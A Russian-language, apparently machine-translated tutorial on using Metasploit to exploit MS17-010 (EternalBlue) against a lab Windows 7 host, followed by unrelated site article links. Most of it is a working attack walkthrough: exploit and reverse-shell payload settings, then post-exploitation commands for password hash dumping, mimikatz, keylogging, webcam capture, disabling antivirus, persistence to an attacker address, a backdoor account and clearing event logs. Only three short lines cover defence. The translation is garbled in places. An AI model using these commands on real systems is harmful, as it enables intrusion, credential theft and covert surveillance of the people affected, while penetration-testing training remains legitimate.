Учебное пособие по Metasploit (MSF) (на примере ms17_010 Eternal Blue)
Учебное пособие по Metasploit (MSF) (на примере ms17_010 Eternal Blue)

1. Введение в Metasploit:

Metasploit — это платформа уязвимостей. Его полное название — The Metasploit Framework, или сокращенно MSF. — это бесплатная загружаемая платформа, которая позволяет легко получать, разрабатывать и атаковать уязвимости компьютерного программного обеспечения. Он поставляется с инструментами профессионального уровня для атаки на более чем 2000 известных уязвимостей программного обеспечения.

2. Знакомство с Eternal Blue:

MS17-010, также известная как «EternalBlue», представляет собой уязвимость, нацеленную на протокол блока сообщений сервера (SMB) в операционной системе Microsoft Windows. Эта уязвимость позволяет злоумышленнику удаленно выполнять произвольный код без какого-либо взаимодействия с пользователем, то есть злоумышленник может удаленно управлять уязвимой системой.

Условия использования:

Windows Vista, Windows 7, Windows 8.1, Windows 10, Windows Server 2008, Windows Server 2012 и Windows Server 2016 и т. д. используют уязвимость протокола SMB (особенно SMBv1), которая требует, чтобы целевая система открыла порт 139 или 445. .

3. Окружающая среда:

Атакующая машина: Kali Linux (встроенный Metasploit), цель: Windows7 Ultimate x64.

MSFОфициальный сайт:https://www.rapid7.com/products/metasploit/download/

4. Процесс использования MS17-010:

1. Запустите nmap Kali и обнаружите открытие порта 455 цели.

2. Запустите команду msf: msfconsole.

3. Процесс использования модуля MS17_010

Язык кода:javascript
копировать
search ms17_010                              Найдите соответствующий модуль лазейки
​
use 0      Загрузите модуль и используйте модуль атаки с номером 0. «0» также может заменить Имя после номера.
​
set RHOSTS 192.168.211.129                   Установите цели атаки
​
check                                        Проверьте, существуют ли ms17_010лазейки
​
set payload windows/x64/meterpreter/reverse_tcp  
//Загружаем полезную нагрузку и устанавливаем атакующую нагрузку. Windows означает систему работы целевой машины, x64 означает 64-битную систему,meterpreter — это инструмент в среде Metasploit, используемый в качестве нагрузки атаки после переполнения лазейки,verse_tcp означает инициирование обратного TCP-соединения от целевой машины к атакующей машине, значение по умолчанию порт подключения — 4444, вы можете передать set lport Изменения команд
​
set LHOST 192.168.211.128                    Установить локальный IP
​
show options                                 Просмотр параметров, связанных с модулем
​
run     Запустите атаку, также можно использовать эксплойт

4. Использование команды Meterpreter:

Язык кода:javascript
копировать
shell         #Получаем разрешения cmd_shell целевого Хозяина
chcp 65001    #Здесь, чтобы избежать искажения символов в целевой Хозяинcmd_shell, установите кодировку символов командной строки целевого Хозяинcmd_shell, 65001 — UTF-8.
Чтобы выйти из оболочки целевой машины вmeterpreter, нам нужно всего лишь ввести: выход
background   #Подключаем сеансmeterpreter, который мы получили для работы в фоновом режиме
sessions  -l    #Просматриваем полученный список сессийmeterpreter_shell, вводим сессии [идентификатор] может ввести соответствующийmeterpreter_shell
Язык кода:javascript
копировать
==========================================
Заказ                           иллюстрировать
-------                       ------------
?                             Меню помощи
background                    Поместите текущий сеанс в фоновый режим и запустите его.
bg                            Алиас для фона Заказ
bgkill                        Убить фоновый измерительный преобразователь Скрипт
bglist                        Список запущенных фоновых скриптов
bgrun                         мобилизоватьmeterpreterСкрипт в качестве фонового потока
channel                       Отображать сообщения или управлять активными каналами
close                         закрыть канал
detach                        Отключить сеанс Meterpreter (для http/https)
disable_unicode_encoding      Запрещать unicode Кодирование строк
enable_unicode_encoding       давать возможность unicode Кодирование строк
exit                          прекращение Meterpreter сессия
get_timeouts                  Получить текущее значение таймаута сессии
guid                          получатьсессия GUID
help                          Меню помощи
info                          показать связанные Post Информация о модуле
irb                           Открыть интерактив в текущей сессии Ruby shell
load                          Загрузите один или несколько Meterpreter Расширять
machine_id                    получать连接到сессиямашины MSF ID
migrate                       Перенос сервера на другой процесс
pivot                         Управление сводными прослушивателями
pry                           Открыто на текущей сессии Pry отладчик
quit                          прекращение Meterpreter сессия
read                          Чтение данных из канала
resource                      Запустить заказ, хранящийся в файле
run                           выполнить Meterpreter Скрипт或 Post модуль
secure                       (пере)вести переговоры о сессии TLV Шифрование пакетов
sessions                      Быстро переключиться на другую сессию
set_timeouts                  Установите текущее значение тайм-аута сессии
sleep                         сила Meterpreter Тихий,Затем восстановите сессию
ssl_verify                    Исправлять SSL Настройки проверки сертификата
transport                     Управлять транспортными механизмами
use                           Устаревший псевдоним loadЗаказ
uuid                          получатьтекущийсессияиз UUID
write                         Запись данных в канал
 
==========================================
Stdapi:документсистема Заказ
==========================================
Заказ                           иллюстрировать
-------                       ------------
cat                           Чтение содержимого файла на экране
cd                            Переключить каталог
checksum                      Получить контрольную сумму файла
cp                            Преобразовать исходный код, копировать в целевой
del                           Удалить указанный файл
dir                           Список файлов (ls псевдоним)
download                      Загрузите файл или каталог
edit                          Редактировать файл
getlwd                        Распечатать локальный рабочий каталог
getwd                         Распечатать рабочий каталог
lcd                           Изменить локальный рабочий каталог
lls                           Список локальных файлов
lpwd                          Распечатать локальный рабочий каталог
ls                            Список файлов
mkdir                         Сделать каталог
mv                            Переместить источник в цель
pwd                           Распечатать рабочий каталог
rm                            Удалить указанный файл
rmdir                         удалить каталог
search                        Поиск файлов
show_mount                    Список всех точек монтирования/логических дисков
upload                        Загрузите файл или каталог
 
==========================================
Stdapi: сетевой заказ
==========================================
Заказ                           иллюстрировать
-------                       ------------
arp                           показывать Хозяин ARP кэш
getproxy                      Показать текущую конфигурацию прокси
ifconfig                      интерфейс дисплея
ipconfig                      интерфейс дисплея
netstat                       Показать сетевые подключения
portfwd                       Перенаправить локальный порт на удаленный сервис
resolve                       Разобрать набор имен Хозяинов на цели
route                         Просматривать и исправлять таблицы маршрутизации
 
==========================================
Stdapi:система Заказ
==========================================
Заказ                           иллюстрировать
-------                       ------------
clearev                       Очистить журнал событий
drop_token                    Отбросьте все активные фиктивные жетоны.
execute                       выполнить заказ
getenv                        Получить значение одной или нескольких переменных среды
getpid                        Получить текущий идентификатор процесса
getprivs                      пытатьсядавать возможностьтекущийпроцесс可用из所有权限
getid                         Получить имя пользователя работающего сервера SID
getuid                        Получить пользователя, под которым работает сервер
kill                          прекращениепроцесс
localtime                     Показать локальную дату и время целевой системы
pgrep                         Фильтровать процесс по названию
pkill                         按名称прекращениепроцесс
ps                            Список запущенных процессов
reboot                        Перезагрузите удаленный компьютер
reg                           Исправлять удаленный реестр и взаимодействовать с ним
rev2self                      Звонок на удаленный компьютер RevertToSelf()
shell                         вставитьсистема Заказ shell
shutdown                      Выключите удаленный компьютер
steal_token                   Попытка украсть токены подражания целевому процессу.
suspend                       Приостановить или возобновить список процессов
sysinfo                       Получить информацию об удаленной системе, например об ОС. 
 
==========================================
Stdapi: пользовательский интерфейс
==========================================
Заказ                           иллюстрировать
-------                       ------------
enumdesktops                  Список всех доступных рабочих столов и оконных станций
getdesktop                    Получить текущий рабочий стол Meterpreter
idletime                      Возвращает количество секунд бездействия удаленного пользователя
keyboard_send                 Отправлять нажатия клавиш
keyevent                      Отправить ключевое событие
keyscan_dump                  Дамп буфера нажатия клавиш
keyscan_start                 Начните фиксировать нажатия клавиш
keyscan_stop                  Прекратите фиксировать нажатия клавиш
mouse                         Отправлять события мыши
screenshare                   Просмотр рабочего стола удаленного пользователя в режиме реального времени
screenshot                    Сделайте снимок экрана интерактивного рабочего стола
setdesktop                    Изменить текущий рабочий стол Meterpreters
uictl                         Управление некоторыми компонентами пользовательского интерфейса
 
==========================================
Stdapi: веб-камера Заказ:
==========================================
Заказ                           иллюстрировать
-------                       ------------
record_mic                    Запись звука с микрофона по умолчанию X Второй
webcam_chat                   Начать видеочат
webcam_list                   Список веб-камер
webcam_snap                   Сделать снимок с указанной веб-камеры
webcam_stream                 Воспроизвести видеопоток с указанной веб-камеры
 
==========================================
Stdapi: аудиовыход
==========================================
Заказ                           иллюстрировать
-------                       ------------
play                          Воспроизведите аудиофайл формы сигнала (.wav) на целевой системе. 
 
==========================================
Priv: Повышение привилегий Заказ:
==========================================
Заказ                           иллюстрировать
-------                       ------------
getsystem                     Попробуйте повысить свои разрешения до уровня вашей локальной системы.
 
==========================================
Priv: база паролей Заказ:
==========================================
Заказ                           иллюстрировать
-------                       ------------
hashdump                      свалка SAM содержимое базы данных
 
==========================================
Priv:Timestomp Заказ:
==========================================
Заказ                           иллюстрировать
-------                       ------------
timestomp                     Операционные файлы MACE Атрибутеметрпретер >

5. Часто используемые команды в оболочке.

Язык кода:javascript
копировать
sysinfo                                                 #Просмотр целевой информации Хозяинсистемы
run scraper                                             #Просмотреть сведения о целевом хозяине
run hashdump                                            #Экспортируем хеш пароля
load kiwi                                               #loadmimikatz
ps                                                      #Просмотреть информацию о целевом Хозяинпроцессе
pwd                                                         #Просмотр целевого текущего каталога (Windows)
getlwd                                                  #Просмотр целевого текущего каталога (Linux)
search -f *.jsp -d e:\                                    #Искать все файлы с суффиксом .jsp на диске E
download  e:\test.txt  /root                              #Загрузите файл e:\test.txt целевой машины в каталог /root
upload    /root/test.txt d:\test                          #Загрузить /root/test.txt на целевой компьютер d:\test\ в каталоге
getpid                                                     #Просмотр текущего Meterpreter ProcessPID оболочки
мигрировать 1384                                            #Изменяем текущий Meterpreter Процесс Shell перенесен на процесс с PID 1384.
idletime                                                    #Просмотреть время работы Хозяина
getuid                                                  #Просмотр текущих полученных разрешений
getsystem                                               #Повышайте права только в том случае, если текущий полученный пользователь является администратором.
run  killav                                                 #Отключите антивирусное программное обеспечение
screenshot                                              #скриншот
webcam_list                                             #Просмотреть целевую камеру Хозяина
webcam_snap                                             #Фотография
webcam_stream                                           #Открыть видео
выполнять параметр -f исполняемый файл                               #Выполнить исполняемую программу
run getgui -u test1 -p Abc123456                        #Создаем пользователя test1 с паролем Abc123456
run getgui -e                                            #Открыть удаленный рабочий стол
keyscan_start                                            #Включить функцию кейлоггера
keyscan_dump                                             #Отображать захваченную информацию о кейлоггерах
keyscan_stop                                             #Остановить функцию кейлогинга
uictl  disable  keyboard                                 #Запретить цели использовать клавиатуру
uictl  enable   keyboard                                 #Разрешить цели использовать клавиатуру
uictl  disable  mouse                                    #Отключить цель от использования мыши
uictl  enable   mouse                                    #Разрешить цели использовать мышь
load                                                    #Использовать библиотеку Расширять
run                                                         #Использовать библиотеку Расширятьrun exploit/windows/local/persistence lhost=192.168.230.130 lport=8888                        #Он автоматически подключится к порту 8888 с адресом 192.168.230.130. Недостатком является то, что его легко обнаружить антивирусным программным обеспечением.
portfwd add -l 9999 -r 192.168.230.132 -p 3389             #Перенаправьте порт 3389 192.168.11.13 на локальный порт 9999. Здесь 192.168.100.158 — это IP-адрес Хозяина, получившего разрешение.
clearev                       #Очистить журнал

5. Защитные меры

Закройте порты высокого риска, такие как 445.

Настройте брандмауэр и установите защитное программное обеспечение.

Установить патчи

На этом статья заканчивается. Эта статья представляет собой простое введение в Metasploit. Изучите и изучите дополнительные функции самостоятельно. Я уверен, что вы освоите этот мощный инструмент для тестирования на проникновение. Незаконное сканирование запрещено, и вы будете нести ответственность за последствия.

Откуда в жизни столько удачи? Просто делаешь вид, что не видишь этого, когда другие много работают. усилия!


Ссылка на эту статью:https://cloud.tencent.com/developer/article/2396554

Оригинальная статья Тианле, при перепечатке указывайте источник!

boy illustration
Неразрушающее увеличение изображений одним щелчком мыши, чтобы сделать их более четкими артефактами искусственного интеллекта, включая руководства по установке и использованию.
boy illustration
Копикодер: этот инструмент отлично работает с Cursor, Bolt и V0! Предоставьте более качественные подсказки для разработки интерфейса (создание навигационного веб-сайта с использованием искусственного интеллекта).
boy illustration
Новый бесплатный RooCline превосходит Cline v3.1? ! Быстрее, умнее и лучше вилка Cline! (Независимое программирование AI, порог 0)
boy illustration
Разработав более 10 проектов с помощью Cursor, я собрал 10 примеров и 60 подсказок.
boy illustration
Я потратил 72 часа на изучение курсорных агентов, и вот неоспоримые факты, которыми я должен поделиться!
boy illustration
Идеальная интеграция Cursor и DeepSeek API
boy illustration
DeepSeek V3 снижает затраты на обучение больших моделей
boy illustration
Артефакт, увеличивающий количество очков: на основе улучшения характеристик препятствия малым целям Yolov8 (SEAM, MultiSEAM).
boy illustration
DeepSeek V3 раскручивался уже три дня. Сегодня я попробовал самопровозглашенную модель «ChatGPT».
boy illustration
Open Devin — инженер-программист искусственного интеллекта с открытым исходным кодом, который меньше программирует и больше создает.
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | SPPF сочетается с воспринимаемой большой сверткой ядра UniRepLK, а свертка с большим ядром + без расширения улучшает восприимчивое поле
boy illustration
Популярное и подробное объяснение DeepSeek-V3: от его появления до преимуществ и сравнения с GPT-4o.
boy illustration
9 основных словесных инструкций по доработке академических работ с помощью ChatGPT, эффективных и практичных, которые стоит собрать
boy illustration
Вызовите deepseek в vscode для реализации программирования с помощью искусственного интеллекта.
boy illustration
Познакомьтесь с принципами сверточных нейронных сетей (CNN) в одной статье (суперподробно)
boy illustration
50,3 тыс. звезд! Immich: автономное решение для резервного копирования фотографий и видео, которое экономит деньги и избавляет от беспокойства.
boy illustration
Cloud Native|Практика: установка Dashbaord для K8s, графика неплохая
boy illustration
Краткий обзор статьи — использование синтетических данных при обучении больших моделей и оптимизации производительности
boy illustration
MiniPerplx: новая поисковая система искусственного интеллекта с открытым исходным кодом, спонсируемая xAI и Vercel.
boy illustration
Конструкция сервиса Synology Drive сочетает проникновение в интрасеть и синхронизацию папок заметок Obsidian в облаке.
boy illustration
Центр конфигурации————Накос
boy illustration
Начинаем с нуля при разработке в облаке Copilot: начать разработку с минимальным использованием кода стало проще
boy illustration
[Серия Docker] Docker создает мультиплатформенные образы: практика архитектуры Arm64
boy illustration
Обновление новых возможностей coze | Я использовал coze для создания апплета помощника по исправлению домашних заданий по математике
boy illustration
Советы по развертыванию Nginx: практическое создание статических веб-сайтов на облачных серверах
boy illustration
Feiniu fnos использует Docker для развертывания личного блокнота Notepad
boy illustration
Сверточная нейронная сеть VGG реализует классификацию изображений Cifar10 — практический опыт Pytorch
boy illustration
Начало работы с EdgeonePages — новым недорогим решением для хостинга веб-сайтов
boy illustration
[Зона легкого облачного игрового сервера] Управление игровыми архивами
boy illustration
Развертывание SpringCloud-проекта на базе Docker и Docker-Compose